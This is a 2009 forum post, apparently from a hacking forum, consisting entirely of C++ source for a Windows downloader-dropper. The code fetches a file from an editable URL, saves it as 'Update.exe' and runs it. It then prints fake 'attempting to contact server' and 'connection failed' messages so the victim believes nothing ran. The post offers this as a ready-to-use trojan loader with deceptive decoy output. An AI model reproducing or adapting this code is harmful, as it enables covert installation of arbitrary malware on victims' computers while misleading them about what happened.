Gonzalez Posted September 7, 2009 Report Posted September 7, 2009 #include <iostream>#include <windows.h>#include <urlmon.h>#pragma comment(lib, "urlmon.lib")using namespace std;char szDir[256], szTemp[256];const char *GetFullDirectory(string szInput){ const char *szBuffer; std::string szDll = szInput; GetCurrentDirectory(sizeof(szDir), (char *)szDir); szBuffer = szDll.c_str(); sprintf_s(szTemp, "%s%s", szDir, szBuffer); return szTemp;}int main(){ cout << "Opening Update.exe, please accept if it asks for your permission to run." << endl; Sleep(3000); URLDownloadToFile(NULL, "http://www.google.com/index.html", "Update.exe", NULL, NULL); // edit the URL here. Sleep(4000); ShellExecute(NULL, "open", GetFullDirectory("\\Update.exe"), NULL, NULL, SW_SHOWNORMAL); cout << "Attempting to contact server." << endl; Sleep(1000); cout << "Attempting to contact server.." << endl; Sleep(1000); cout << "Attempting to contact server..." << endl; Sleep(1000); cout << "Connection failed, please try again in a few hours." << endl; Sleep(4000); return 0;} Quote